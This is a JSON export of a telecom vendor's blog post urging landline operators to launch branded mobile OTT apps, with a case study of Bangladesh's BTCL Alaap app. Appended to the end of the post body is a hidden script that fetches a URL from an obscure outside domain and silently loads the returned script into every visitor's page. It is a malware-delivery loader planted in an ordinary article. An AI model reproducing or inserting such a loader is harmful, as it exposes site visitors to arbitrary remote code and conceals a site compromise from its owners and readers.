{"id":2269,"date":"2023-09-20T05:36:13","date_gmt":"2023-09-20T05:36:13","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2269"},"modified":"2025-09-05T11:12:51","modified_gmt":"2025-09-05T11:12:51","slug":"landline-service-into-mobile-operations","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/","title":{"rendered":"Telecom Transformed: How to Convert Your Landline Service into Mobile Operations?"},"content":{"rendered":"<p>In an ever-evolving digital landscape, fixed landline operators have witnessed substantial changes in their role over time. Primarily, these operators were responsible for providing landline phones and broadband services. With the emergence of technological breakthroughs, shifting customer preferences, and cut-throat competition, landline operators started facing numerous challenges to remain relevant. However, Mobile OTT has emerged as a potential solution for fixed-line operators despite these problems. Through this blog, we are going to explore the current situation of landline operators, the challenges faced by them, and how Mobile OTT can be the ultimate solution to their problems.<\/p>\n<p>Let\u2019s get started!<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4c6e8bf1c\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4c6e8bf1c\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#The_Evolution_of_Fixed_Line_Operators\" title=\"The Evolution of Fixed Line Operators\">The Evolution of Fixed Line Operators<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#The_Present_Scenario_of_the_Landline_Market\" title=\"The Present Scenario of the Landline Market\">The Present Scenario of the Landline Market<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Current_Problems_of_the_Landline_Operators\" title=\"Current Problems of the Landline Operators\">Current Problems of the Landline Operators<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Lack_of_Mobility\" title=\"Lack of Mobility\">Lack of Mobility<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Decline_in_Demand\" title=\"Decline in Demand\">Decline in Demand<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Growth_of_OTT_Apps\" title=\"Growth of OTT Apps\">Growth of OTT Apps<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#The_Solution_-_Launch_Your_Own_Mobile_OTT_App\" title=\"The Solution &#8211; Launch Your Own Mobile OTT App\">The Solution &#8211; Launch Your Own Mobile OTT App<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Understanding_Mobile_OTT\" title=\"Understanding Mobile OTT\">Understanding Mobile OTT<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#How_Can_Mobile_OTT_Benefit_Fixed_Line_Operators\" title=\"How Can Mobile OTT Benefit Fixed Line Operators?\">How Can Mobile OTT Benefit Fixed Line Operators?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Competitive_Edge\" title=\"Competitive Edge\">Competitive Edge<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Gain_Additional_Revenue\" title=\"Gain Additional Revenue\">Gain Additional Revenue<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Monetization_through_Mobile_Ads\" title=\"Monetization through Mobile Ads\">Monetization through Mobile Ads<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Retain_their_Lost_Subscriber_Base\" title=\"Retain their Lost Subscriber Base\">Retain their Lost Subscriber Base<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Cost_Efficiency\" title=\"Cost Efficiency\">Cost Efficiency<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#How_to_Get_Started_with_Mobile_OTT\" title=\"How to Get Started with Mobile OTT?\">How to Get Started with Mobile OTT?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Case_Study_Alaap_Mobile_OTT_App\" title=\"Case Study: Alaap Mobile OTT App\">Case Study: Alaap Mobile OTT App<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#How_Mobile_OTT_Became_the_Game_Changer_for_a_Fixed_Line_Operator\" title=\"How Mobile OTT Became the Game Changer for a Fixed Line Operator?\">How Mobile OTT Became the Game Changer for a Fixed Line Operator?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Why_Mobile_OTT_is_the_Future_of_Telecom\" title=\"Why Mobile OTT is the Future of Telecom?\">Why Mobile OTT is the Future of Telecom?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Global_Mobile_Reach\" title=\"Global Mobile Reach\">Global Mobile Reach<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Cost_Effective_Flexible\" title=\"Cost Effective &amp; Flexible\">Cost Effective &amp; Flexible<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Adaptable_Agile\" title=\"Adaptable &amp; Agile\">Adaptable &amp; Agile<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Data-Driven_Insights\" title=\"Data-Driven Insights\">Data-Driven Insights<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Lets_Sum_Up\" title=\"Let&#8217;s Sum Up!\">Let&#8217;s Sum Up!<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Looking_for_a_Mobile_OTT_Solution\" title=\"Looking for a Mobile OTT Solution?\">Looking for a Mobile OTT Solution?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#Read_Also\" title=\"Read Also\">Read Also<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#5_Ways_to_Create_New_Revenue_Opportunities_with_Mobile_OTT_Solution\" title=\"5 Ways to Create New Revenue Opportunities with Mobile OTT Solution\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/ott\/landline-service-into-mobile-operations\/#How_to_Monetize_Your_OTT_App_For_High_Returns\" title=\"How to Monetize Your OTT App For High Returns\">How to Monetize Your OTT App For High Returns<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"The_Evolution_of_Fixed_Line_Operators\"><\/span><strong>The Evolution of Fixed Line Operators<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3941\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2023\/09\/evolution.jpg\" alt=\"evolution\" width=\"1200\" height=\"350\" \/>Fixed Line operators have come a long way since their inception. Initially, these operators solely provided landline telephony and dial-up internet connections as communication services. With the progression of time and technology, these operators widened their service portfolio and started offering broadband services as well. However, the advent of wireless technology and mobile communication posed a serious challenge in front of landline operators\u2019 well-established business models. The market grew more competitive as mobile phones gained popularity which led to a decrease in the number of fixed-line subscribers.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Present_Scenario_of_the_Landline_Market\"><\/span><strong>The Present Scenario of the Landline Market<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3932\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/07\/fixed-line-subcriptions.jpg\" alt=\"fixed-line subcriptions\" width=\"1200\" height=\"350\" \/><\/p>\n<p>Mobile phones, specifically smartphones, have become a constant companion for a majority of the population around the globe. Specific to the U.S., more than 90 percent of U.S. adults who lived in households had an operational landline phone. Today, it\u2019s less than 30%. This downward trend of landlines will continue with the growing popularity of mobile phones.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Current_Problems_of_the_Landline_Operators\"><\/span><strong>Current Problems of the Landline Operators<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3931\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/07\/fixed-line-subscribers.jpg\" alt=\"fixed-line subscribers\" width=\"1200\" height=\"350\" \/><\/p>\n<p>Landline, which was once a pride of every home has now become an antique piece in most cases. In recent years, traditional fixed-line operators have encountered substantial challenges.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Lack_of_Mobility\"><\/span>Lack of Mobility<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>The absence of mobility is one of the biggest challenges for landline operators. Because landlines are typically fixed at a specific location, they lack the flexibility and mobility that businesses today need in their communication. Due to this, landline operators are unable to serve corporate clients who require mobile services for remote collaboration, thus leading to customer churn and limiting their growth potential.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Decline_in_Demand\"><\/span>Decline in Demand<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>With the introduction of mobile devices, landlines or fixed lines have almost become a forgotten thing that rests in some corner of the room. The flexibility of mobile devices in terms of ease of usage, lightweight, and multi-functionality has completely shadowed the landlines.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Growth_of_OTT_Apps\"><\/span>Growth of OTT Apps<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3933\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/07\/trai-paper.jpg\" alt=\"trai paper\" width=\"1200\" height=\"350\" \/><\/p>\n<p>The situation became worse with the huge penetration of smartphones loaded with OTT apps that make life easy and communication more real. When you have the flexibility to make a video call to someone residing thousands of miles away or send a file instantly in seconds, why would you take the pain of using a landline?<\/p>\n<p>The growth of OTT communication apps such as WhatsApp, Viber, WeChat, etc. has caused a serious threat to both Fixed Line and Mobile Network Operators. A generation of \u201ccord-cutting\u201d customers have exited from fixed-line residential service switching over to OTT apps and mobile services. This led to a huge revenue loss for fixed-line operators.<\/p>\n<p>Even mobile network operators are feeling the heat as subscribers are now using more and more OTT apps for voice, video calls, and text chats. This means that even if they have an active mobile subscription they don\u2019t have much requirement to make ISD calls or do text messages as these can be done free of cost with OTT apps.<\/p>\n<p>In this scenario, landline operators are the most affected ones as there has been a constant downfall in terms of subscribers due to their inability to match the services provided by OTT players.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Solution_-_Launch_Your_Own_Mobile_OTT_App\"><\/span><strong>The Solution &#8211; Launch Your Own Mobile OTT App<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The message is very clear <strong>\u2018Launch your own OTT app\u2019.<\/strong> Yes! It\u2019s the right time for landline operators to launch their own OTT app. They already have their infrastructure ready, so they only need to develop an OTT app, which will not only increase brand stickiness but will also boost their revenue growth.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Understanding_Mobile_OTT\"><\/span>Understanding Mobile OTT<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Mobile Over-the-Top or mobile OTT services represent a paradigm shift in the way communication and multimedia services are consumed and delivered. This technology enables consumers to access a wide range of services from their internet-enabled mobile devices such as smartphones, tablets, etc. without relying on conventional fixed telephone lines.<\/p>\n<p>In other words, we can say that the term Mobile OTT refers to the services and applications that deliver communication and multimedia content leveraging internet connectivity while running \u2018over-the-top\u2019 of conventional telephone infrastructure.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_Can_Mobile_OTT_Benefit_Fixed_Line_Operators\"><\/span><strong>How Can Mobile OTT Benefit Fixed Line Operators?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong><em><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3930\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/07\/juniper.jpg\" alt=\"juniper research\" width=\"1200\" height=\"350\" \/><\/em><\/strong><\/p>\n<p>Here are some reasons why landline operators should go for a <a href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions\">mobile OTT solution<\/a>.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Competitive_Edge\"><\/span>Competitive Edge<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Fixed-line carriers can beat the competition from other operators by embracing Mobile OTT. They can differentiate their services from traditional mobile service providers by offering unique OTT services, attracting a segment of consumers who value these offerings.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Gain_Additional_Revenue\"><\/span>Gain Additional Revenue<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Fixed-line operators can generate additional revenue by leveraging mobile OTT services to offer international calling packages. This will not only help in generating an additional revenue stream but also boost customer experience. With this approach, fixed-line operators can stay competitive in the market while fulfilling the needs of their international customer base.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Monetization_through_Mobile_Ads\"><\/span>Monetization through Mobile Ads<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>By integrating diverse ad formats, implementing location-specific advertising, and applying precision-targeted ads based on user data, carriers have the opportunity to generate revenue via mobile OTT apps through mobile advertising.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Retain_their_Lost_Subscriber_Base\"><\/span>Retain their Lost Subscriber Base<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<blockquote><p><em>Telecom regulator Trai in its latest paper to regulate internet messaging and calling apps like WhatsApp, Google Meet, Facetime, etc. said that with growing usage of over-the-top (OTT) applications for messaging, and voice communication, has led to a transition from voice and SMS towards data as a primary source of revenue for telecom service providers. The revenue share per user from data usage grew over 10 times between the June 2013 quarter to the December 2022 quarter, according to the Trai paper.<\/em><\/p><\/blockquote>\n<p>Considering the above statement, landline operators have the opportunity to tap into the trend of increased data consumption to generate greater revenue. They can offer customers data packages specifically tailored to mobile OTT services. Through this alignment of data packs with OTT usage trends, fixed-line operators can boost customer satisfaction.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cost_Efficiency\"><\/span>Cost Efficiency<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>When compared with conventional landline networks, OTT services require much less investment. This cost-effectiveness enables operators to save up on their resources which they can invest in other areas, such as improving customer service or developing innovative products.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_Get_Started_with_Mobile_OTT\"><\/span><strong>How to Get Started with Mobile OTT?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li>You can contact a reliable white-label Mobile OTT app provider to get your branded app.<\/li>\n<li>After your OTT app is ready, you must announce the launch of your branded mobile OTT app to your customers\/ audience.<\/li>\n<li>Your landline subscriber base can download the app on their respective devices and start the registration process.<\/li>\n<li>User authentication is done to complete the registration. Once done, users can start using your mobile OTT services using the app.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Case_Study_Alaap_Mobile_OTT_App\"><\/span><strong>Case Study: Alaap Mobile OTT App<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Now that we have discussed various strategies that fixed-line operators can adopt to regain their lost position in the market with the help of mobile OTT. Now, let&#8217;s take a look at a real-world example of how a renowned landline company regained its lost subscribers through mobile OTT.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"How_Mobile_OTT_Became_the_Game_Changer_for_a_Fixed_Line_Operator\"><\/span><strong>How Mobile OTT Became the Game Changer for a Fixed Line Operator?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><iframe loading=\"lazy\" title=\"How Mobile OTT Became a Game Changer for a Landline Operator? | Webinar\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/gTqXwrzm46E?start=1435&#038;feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/p>\n<p>A leading landline operator BTCL \u2013 Bangladesh Telecommunication Company has been recently <a href=\"https:\/\/thefinancialexpress.com.bd\/trade\/btcl-launches-alaap-app-1617594509\">in the news <\/a>after the launch of its OTT app Alaap. The state-owned Telecommunication Company which has seen a downward trend in terms of subscribers got 0.5 million sign-ups just 2 weeks after the launch of Alaap app.<\/p>\n<blockquote><p>Some of the interesting OTT features, that attracted consumers were Low-Cost International Calls, Video Calls, Video Streaming, Referral Credits, newsfeeds, etc., to name a few.<\/p><\/blockquote>\n<p>You can also read the case study here- <em><u><a href=\"https:\/\/www.revesoft.com\/resources\/download\/case-studies\/btcl-alaap\">https:\/\/www.revesoft.com\/resources\/download\/case-studies\/btcl-alaap<\/a><\/u><\/em><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_Mobile_OTT_is_the_Future_of_Telecom\"><\/span><strong>Why Mobile OTT is the Future of Telecom?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-3934\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/07\/OTT-users-statista.jpg\" alt=\"OTT users-statista\" width=\"1200\" height=\"350\" \/><\/p>\n<p>From the above information, it is evident that Mobile <a href=\"https:\/\/www.revesoft.com\/blog\/ott\/mobile-ott-service-telco-industry\/\" target=\"_blank\" rel=\"noopener\">OTT in telecom<\/a> has a promising future. You can also read our post on &#8211; <a href=\"https:\/\/www.revesoft.com\/blog\/ott\/ott-business-messaging-market-forecast\/\" target=\"_blank\" rel=\"noopener\">OTT Business Messaging Market Forecast Report 2023-2027<\/a><\/p>\n<p>Let\u2019s take a look at some of the most compelling reasons:<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Global_Mobile_Reach\"><\/span>Global Mobile Reach<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Firstly, mobile OTT capitalizes on the growing global mobile network coverage and the ubiquitous adoption of smartphones. This fact makes it a communication platform that is easily available and accessible to everyone.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cost_Effective_Flexible\"><\/span>Cost Effective &amp; Flexible<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Secondly, mobile OTT presents an economical and flexible solution. Operators can cut down on their infrastructure expenditures while extending their services.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Adaptable_Agile\"><\/span>Adaptable &amp; Agile<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Thirdly, the versatility and agility offered by mobile OTT services empower landline operators to respond to the rapidly evolving customer tastes and emerging technologies, ensuring their relevance in a constantly changing market.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Data-Driven_Insights\"><\/span>Data-Driven Insights<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>Last but not least, mobile OTT platforms are data-driven which means they can offer fixed-line operators valuable insights for better customer service.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Lets_Sum_Up\"><\/span><strong>Let&#8217;s Sum Up!<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>To summarize, we can say that mobile OTT has reshaped the conventional fixed-line operator model by offering users unparalleled convenience and flexibility. Mobile OTT definitely will be here for a longer period only to evolve more in the coming years. So it is the right time for Landline Operators to launch their own Mobile OTT app.<\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Looking_for_a_Mobile_OTT_Solution\"><\/span>Looking for a Mobile OTT Solution?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/products\/reve-mobile-ott-solutions#free_demo_form\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"Read_Also\"><\/span>Read Also<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"5_Ways_to_Create_New_Revenue_Opportunities_with_Mobile_OTT_Solution\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/create-revenue-opportunities-mobile-ott-solution\/\" target=\"_blank\" rel=\"noopener\">5 Ways to Create New Revenue Opportunities with Mobile OTT Solution<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<h3 style=\"text-align: center;\"><span class=\"ez-toc-section\" id=\"How_to_Monetize_Your_OTT_App_For_High_Returns\"><\/span><a href=\"https:\/\/www.revesoft.com\/blog\/ott\/monetize-your-ott-app\/\" target=\"_blank\" rel=\"noopener\">How to Monetize Your OTT App For High Returns<\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an ever-evolving digital landscape, fixed landline operators have witnessed substantial changes in their role over time. Primarily, these operators were responsible for providing landline phones and broadband services. With the emergence of technological breakthroughs, shifting customer preferences, and cut-throat competition, landline operators started facing numerous challenges to remain relevant. However, Mobile OTT has emerged [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":3944,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[75],"tags":[],"class_list":["post-2269","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ott"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2269","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2269"}],"version-history":[{"count":26,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2269\/revisions"}],"predecessor-version":[{"id":6421,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2269\/revisions\/6421"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/3944"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2269"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2269"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2269"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}